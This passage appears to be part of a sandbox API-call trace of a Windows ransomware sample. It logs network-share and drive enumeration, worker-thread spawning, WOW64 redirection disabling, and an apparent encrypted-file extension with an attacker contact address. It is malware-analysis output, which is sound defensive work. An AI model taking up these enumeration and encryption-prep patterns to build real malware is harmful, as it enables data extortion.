dwFlags=0x0, lpMem=0x57add8 | out: hHeap=0x510000) returned 1 [0144.891] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x0 [0144.891] ReleaseMutex (hMutex=0x1ec) returned 1 [0144.891] Sleep (dwMilliseconds=0x1f4) [0145.647] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x102 [0145.647] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x554520 | out: hHeap=0x510000) returned 1 Thread: id = 36 os_tid = 0xe00 [0126.023] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x57ac70 [0126.023] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x57ac70, Size=0x20) returned 0x54edd0 [0126.023] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54edd0, Size=0x40) returned 0x527830 [0126.023] GetLogicalDrives () returned 0x4 [0126.023] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x58b408 [0126.023] GetComputerNameW (in: lpBuffer=0x58b40c, nSize=0x270ff64 | out: lpBuffer="NQDPDE", nSize=0x270ff64) returned 1 [0126.023] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x56dac8 [0126.023] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x270ff34 | out: lphEnum=0x270ff34*=0x526178) returned 0x0 [0126.024] WNetEnumResourceW (in: hEnum=0x526178, lpcCount=0x270ff30, lpBuffer=0x56dac8, lpBufferSize=0x270ff38 | out: lpcCount=0x270ff30, lpBuffer=0x56dac8, lpBufferSize=0x270ff38) returned 0x103 [0126.024] WNetCloseEnum (hEnum=0x526178) returned 0x0 [0126.024] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x270ff34 | out: lphEnum=0x270ff34*=0x52a2c0) returned 0x0 [0126.257] WNetEnumResourceW (in: hEnum=0x52a2c0, lpcCount=0x270ff30, lpBuffer=0x56dac8, lpBufferSize=0x270ff38 | out: lpcCount=0x270ff30, lpBuffer=0x56dac8, lpBufferSize=0x270ff38) returned 0x0 [0126.257] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x577308 [0126.257] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x56dac8, lphEnum=0x270ff08 | out: lphEnum=0x270ff08*=0x526738) returned 0x0 [0126.259] WNetEnumResourceW (in: hEnum=0x526738, lpcCount=0x270ff04, lpBuffer=0x577308, lpBufferSize=0x270ff0c | out: lpcCount=0x270ff04, lpBuffer=0x577308, lpBufferSize=0x270ff0c) returned 0x103 [0126.259] WNetCloseEnum (hEnum=0x526738) returned 0x0 [0126.259] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x5ab430 [0126.259] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x56dae8, lphEnum=0x270ff08 | out: lphEnum=0x270ff08*=0x0) returned 0x4b8 [0140.998] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x444b6d0 [0140.998] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x56db08, lphEnum=0x270ff08 | out: lphEnum=0x270ff08*=0x0) returned 0x4c6 [0141.004] WNetEnumResourceW (in: hEnum=0x52a2c0, lpcCount=0x270ff30, lpBuffer=0x56dac8, lpBufferSize=0x270ff38 | out: lpcCount=0x270ff30, lpBuffer=0x56dac8, lpBufferSize=0x270ff38) returned 0x103 [0141.004] WNetCloseEnum (hEnum=0x52a2c0) returned 0x0 [0141.004] GetLogicalDrives () returned 0x4 [0141.004] Sleep (dwMilliseconds=0x64) [0141.194] GetLogicalDrives () returned 0x4 [0141.194] Sleep (dwMilliseconds=0x64) [0141.389] GetLogicalDrives () returned 0x4 [0141.389] Sleep (dwMilliseconds=0x64) [0141.510] GetLogicalDrives () returned 0x4 [0141.510] Sleep (dwMilliseconds=0x64) [0141.687] GetLogicalDrives () returned 0x4 [0141.687] Sleep (dwMilliseconds=0x64) [0142.139] GetLogicalDrives () returned 0x4 [0142.139] Sleep (dwMilliseconds=0x64) [0142.378] GetLogicalDrives () returned 0x4 [0142.378] Sleep (dwMilliseconds=0x64) [0142.578] GetLogicalDrives () returned 0x4 [0142.578] Sleep (dwMilliseconds=0x64) [0143.205] GetLogicalDrives () returned 0x4 [0143.205] Sleep (dwMilliseconds=0x64) [0143.391] GetLogicalDrives () returned 0x4 [0143.391] Sleep (dwMilliseconds=0x64) [0143.579] GetLogicalDrives () returned 0x4 [0143.579] Sleep (dwMilliseconds=0x64) [0143.751] GetLogicalDrives () returned 0x4 [0143.751] Sleep (dwMilliseconds=0x64) [0144.148] GetLogicalDrives () returned 0x4 [0144.148] Sleep (dwMilliseconds=0x64) [0144.465] GetLogicalDrives () returned 0x4 [0144.465] Sleep (dwMilliseconds=0x64) [0144.617] GetLogicalDrives () returned 0x4 [0144.617] Sleep (dwMilliseconds=0x64) [0144.824] GetLogicalDrives () returned 0x4 [0144.824] Sleep (dwMilliseconds=0x64) [0144.993] GetLogicalDrives () returned 0x4 [0144.994] Sleep (dwMilliseconds=0x64) [0145.143] GetLogicalDrives () returned 0x4 [0145.143] Sleep (dwMilliseconds=0x64) [0145.460] GetLogicalDrives () returned 0x4 [0145.460] Sleep (dwMilliseconds=0x64) [0145.675] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0145.675] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x527830 | out: hHeap=0x510000) returned 1 Thread: id = 38 os_tid = 0xe0c [0126.280] GetTickCount () returned 0xca74 [0126.280] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x24) returned 0x5256c8 [0126.280] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5256c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d0 [0126.280] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5256c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d4 [0126.281] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5256c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d8 [0126.281] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5256c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc [0126.282] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574bc0 [0126.282] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x574bc0, Size=0x20) returned 0x54ebc8 [0126.282] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574bc0 [0126.282] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x574bc0, Size=0x20) returned 0x54e920 [0126.282] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0126.282] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0126.282] Wow64DisableWow64FsRedirection (in: OldValue=0x2c4ff7c | out: OldValue=0x2c4ff7c*=0x0) returned 1 [0126.282] lstrlenW (lpString="kernel32.dll") returned 12 [0126.282] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ebc8 | out: hHeap=0x510000) returned 1 [0126.282] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0126.282] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54e920 | out: hHeap=0x510000) returned 1 [0126.282] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x557fa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e0 [0126.283] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0126.635] GetTickCount () returned 0xcbdb [0126.635] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0127.085] GetTickCount () returned 0xcda0 [0127.085] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0127.270] GetTickCount () returned 0xce5c [0127.270] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0127.805] GetTickCount () returned 0xd06f [0127.805] GetTickCount () returned 0xd06f [0127.805] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0128.006] GetTickCount () returned 0xd13a [0128.006] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0128.620] GetTickCount () returned 0xd39b [0128.620] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0129.030] GetTickCount () returned 0xd532 [0129.030] GetTickCount () returned 0xd532 [0129.030] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0129.239] GetTickCount () returned 0xd60c [0129.239] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0129.411] GetTickCount () returned 0xd6b8 [0129.411] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0129.618] GetTickCount () returned 0xd783 [0129.618] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0129.751] GetTickCount () returned 0xd810 [0129.751] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0129.866] GetTickCount () returned 0xd87d [0129.866] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0130.035] GetTickCount () returned 0xd929 [0130.035] GetTickCount () returned 0xd929 [0130.035] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0130.209] GetTickCount () returned 0xd9d5 [0130.209] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0130.602] GetTickCount () returned 0xdb4c [0130.602] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0131.070] GetTickCount () returned 0xdd21 [0131.070] GetTickCount () returned 0xdd21 [0131.070] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0131.259] GetTickCount () returned 0xdddc [0131.259] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0131.564] GetTickCount () returned 0xdf15 [0131.564] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0131.782] GetTickCount () returned 0xdff0 [0131.782] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0132.268] GetTickCount () returned 0xe1d4 [0132.268] GetTickCount () returned 0xe1d4 [0132.268] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0132.706] GetTickCount () returned 0xe38a [0132.706] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0132.873] GetTickCount () returned 0xe435 [0132.873] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0133.155] GetTickCount () returned 0xe54f [0133.155] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0133.525] GetTickCount () returned 0xe6b6 [0133.525] GetTickCount () returned 0xe6b6 [0133.525] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0133.623] GetTickCount () returned 0xe723 [0133.623] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0133.822] GetTickCount () returned 0xe7df [0133.822] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0134.025] GetTickCount () returned 0xe8aa [0134.025] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0134.206] GetTickCount () returned 0xe966 [0134.206] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0134.739] GetTickCount () returned 0xeb79 [0134.739] GetTickCount () returned 0xeb79 [0134.739] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0135.039] GetTickCount () returned 0xeca2 [0135.039] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0135.332] GetTickCount () returned 0xedcb [0135.332] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0135.690] GetTickCount () returned 0xef32 [0135.690] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0135.842] GetTickCount () returned 0xefce [0135.842] GetTickCount () returned 0xefce [0135.842] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0135.992] GetTickCount () returned 0xf06a [0136.031] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0136.433] GetTickCount () returned 0xf220 [0136.433] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0136.691] GetTickCount () returned 0xf31a [0136.691] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0137.015] GetTickCount () returned 0xf462 [0137.015] GetTickCount () returned 0xf462 [0137.015] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0137.334] GetTickCount () returned 0xf5aa [0137.334] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0137.585] GetTickCount () returned 0xf6a4 [0137.585] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0137.729] GetTickCount () returned 0xf731 [0137.729] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0138.142] GetTickCount () returned 0xf8c7 [0138.142] GetTickCount () returned 0xf8c7 [0138.142] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0138.870] GetTickCount () returned 0xfba5 [0138.870] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0139.260] GetTickCount () returned 0xfd2c [0139.261] GetTickCount () returned 0xfd2c [0139.261] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0139.584] GetTickCount () returned 0xfe74 [0139.584] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0139.868] GetTickCount () returned 0xff8d [0139.868] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0140.174] GetTickCount () returned 0x100c6 [0140.174] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0140.593] GetTickCount () returned 0x1025c [0140.593] GetTickCount () returned 0x1025c [0140.593] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0141.031] GetTickCount () returned 0x10421 [0141.031] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0141.194] GetTickCount () returned 0x104be [0141.194] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0141.389] GetTickCount () returned 0x10579 [0141.389] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0141.510] GetTickCount () returned 0x105f6 [0141.510] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0141.688] GetTickCount () returned 0x106b2 [0141.688] GetTickCount () returned 0x106b2 [0141.688] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0142.138] GetTickCount () returned 0x10867 [0142.138] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0142.378] GetTickCount () returned 0x10961 [0142.378] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0142.577] GetTickCount () returned 0x10a1d [0142.577] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0143.205] GetTickCount () returned 0x10c9d [0143.205] GetTickCount () returned 0x10c9d [0143.205] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0143.391] GetTickCount () returned 0x10d59 [0143.391] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0143.512] GetTickCount () returned 0x10dc6 [0143.512] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0143.650] GetTickCount () returned 0x10e53 [0143.650] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0143.767] GetTickCount () returned 0x10ec0 [0143.767] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0144.148] GetTickCount () returned 0x11047 [0144.148] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0144.465] GetTickCount () returned 0x1117f [0144.465] GetTickCount () returned 0x1117f [0144.465] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0144.618] GetTickCount () returned 0x1121b [0144.618] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0144.824] GetTickCount () returned 0x112e7 [0144.824] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0144.994] GetTickCount () returned 0x11392 [0144.994] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0145.143] GetTickCount () returned 0x1141f [0145.143] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0145.459] GetTickCount () returned 0x11567 [0145.459] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0145.676] GetTickCount () returned 0x11642 [0145.676] GetTickCount () returned 0x11642 [0145.676] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0145.879] GetTickCount () returned 0x1170d [0145.880] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x0 [0145.880] WaitForMultipleObjects (nCount=0x4, lpHandles=0x2c4ff5c*=0x2d0, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0146.015] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56b2020 | out: hHeap=0x510000) returned 1 [0146.063] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54f0e0 | out: hHeap=0x510000) returned 1 [0146.064] lstrlenW (lpString=".btix") returned 5 [0146.064] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x570748 | out: hHeap=0x510000) returned 1 [0146.064] lstrlenW (lpString=".[encrypt11@cock.li]") returned 20 [0146.064] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56edd0 | out: hHeap=0x510000) returned 1 [0146.064] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54f0b0 | out: hHeap=0x510000) returned 1 [0146.064] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57ae50 | out: hHeap=0x510000) returned 1 [0146.064] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57ad78 | out: hHeap=0x510000) returned 1 [0146.064] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57ad90 | out: hHeap=0x510000) returned 1 [0146.064] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57acd0 | out: hHeap=0x510000) returned 1 [0146.064] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57ae20 | out: hHeap=0x510000) returned 1 [0146.064] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57ada8 | out: hHeap=0x510000) returned 1 [0146.064] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54f150 | out: hHeap=0x510000) returned 1 [0146.064] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57ae80 | out: hHeap=0x510000) returned 1 [0146.064] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57ae98 | out: hHeap=0x510000) returned 1 [0146.064] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57aec8 | out: hHeap=0x510000) returned 1 [0146.064] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54f160 | out: hHeap=0x510000) returned 1 [0146.064] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54f240 | out: hHeap=0x510000) returned 1 [0146.064] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57ac40 | out: hHeap=0x510000) returned 1 [0146.064] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54f170 | out: hHeap=0x510000) returned 1 [0146.064] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57ac58 | out: hHeap=0x510000) returned 1 [0146.064] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54f140 | out: hHeap=0x510000) returned 1 [0146.064] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57aeb0 | out: hHeap=0x510000) returned 1 [0146.064] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ed30 | out: hHeap=0x510000) returned 1 [0146.064] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ec18 | out: hHeap=0x510000) returned 1 [0146.064] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52a200 | out: hHeap=0x510000) returned 1 [0146.064] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52bb08 | out: hHeap=0x510000) returned 1 [0146.064] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x557fa8 | out: hHeap=0x510000) returned 1 [0146.065] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5256c8 | out: hHeap=0x510000) returned 1 [0146.065] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b4808 [0146.065] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b4808, Size=0x20) returned 0x443de00 [0146.065] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b4718 [0146.065] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b4718, Size=0x20) returned 0x443de50 [0146.066] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0146.066] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0146.066] Wow64DisableWow64FsRedirection (in: OldValue=0x2c4ff7c | out: OldValue=0x2c4ff7c*=0x1) returned 1 [0146.066] lstrlenW (lpString="kernel32.dll") returned 12 [0146.066] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x443de50 | out: hHeap=0x510000) returned 1 [0146.066] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0146.066] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x443de00 | out: hHeap=0x510000) returned 1 Thread: id = 39 os_tid = 0xe10 [0126.283] GetTickCount () returned 0xca83 [0126.283] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x24) returned 0x5ad138 [0126.283] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5ad138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e4 [0126.284] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5ad138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e8 [0126.284] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5ad138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ec [0126.285] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5ad138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f0 [0126.285] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574bf0 [0126.285] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x574bf0, Size=0x20) returned 0x54e920 [0126.285] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574bf0 [0126.285] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x574bf0, Size=0x20) returned 0x54ea88 [0126.285] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0126.285] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0126.286] Wow64DisableWow64FsRedirection (in: OldValue=0x2d8ff7c | out: OldValue=0x2d8ff7c*=0x0) returned 1 [0126.286] lstrlenW (lpString="kernel32.dll") returned 12 [0126.286] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54e920 | out: hHeap=0x510000) returned 1 [0126.286] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0126.286] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ea88 | out: hHeap=0x510000) returned 1 [0126.286] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x59b410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f4 [0126.286] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0126.635] GetTickCount () returned 0xcbdb [0126.635] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0127.085] GetTickCount () returned 0xcda0 [0127.085] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0127.270] GetTickCount () returned 0xce5c [0127.270] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0127.805] GetTickCount () returned 0xd06f [0127.805] GetTickCount () returned 0xd06f [0127.805] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0128.006] GetTickCount () returned 0xd13a [0128.006] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0128.620] GetTickCount () returned 0xd39b [0128.620] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0129.030] GetTickCount () returned 0xd532 [0129.030] GetTickCount () returned 0xd532 [0129.030] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0129.239] GetTickCount () returned 0xd60c [0129.239] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0129.411] GetTickCount () returned 0xd6b8 [0129.411] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0129.618] GetTickCount () returned 0xd783 [0129.618] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0129.751] GetTickCount () returned 0xd810 [0129.751] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0129.867] GetTickCount () returned 0xd87d [0129.867] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0130.035] GetTickCount () returned 0xd929 [0130.035] GetTickCount () returned 0xd929 [0130.035] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0130.209] GetTickCount () returned 0xd9d5 [0130.209] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0130.601] GetTickCount () returned 0xdb4c [0130.601] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0131.070] GetTickCount () returned 0xdd21 [0131.070] GetTickCount () returned 0xdd21 [0131.070] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0131.259] GetTickCount () returned 0xdddc [0131.259] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0131.563] GetTickCount () returned 0xdf15 [0131.563] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0131.781] GetTickCount () returned 0xdff0 [0131.782] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0132.268] GetTickCount () returned 0xe1d4 [0132.268] GetTickCount () returned 0xe1d4 [0132.268] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0132.707] GetTickCount () returned 0xe38a [0132.707] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0132.873] GetTickCount () returned 0xe435 [0132.873] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0133.155] GetTickCount () returned 0xe54f [0133.155] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0133.525] GetTickCount () returned 0xe6b6 [0133.525] GetTickCount () returned 0xe6b6 [0133.525] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0133.624] GetTickCount () returned 0xe723 [0133.624] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0133.821] GetTickCount () returned 